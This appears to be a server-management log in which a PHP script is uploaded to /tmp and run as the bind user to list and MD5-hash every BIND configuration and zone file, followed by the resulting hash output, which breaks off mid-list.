MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:01:10: Establishing a connection
2026-04-21 19:01:11: 

PUT: /tmp/pkp785978

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:01:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp785978; rm /tmp/pkp785978'

2026-04-21 19:01:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:01:30: Establishing a connection
2026-04-21 19:01:30: 

PUT: /tmp/pkp474436

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:01:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp474436; rm /tmp/pkp474436'

2026-04-21 19:01:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
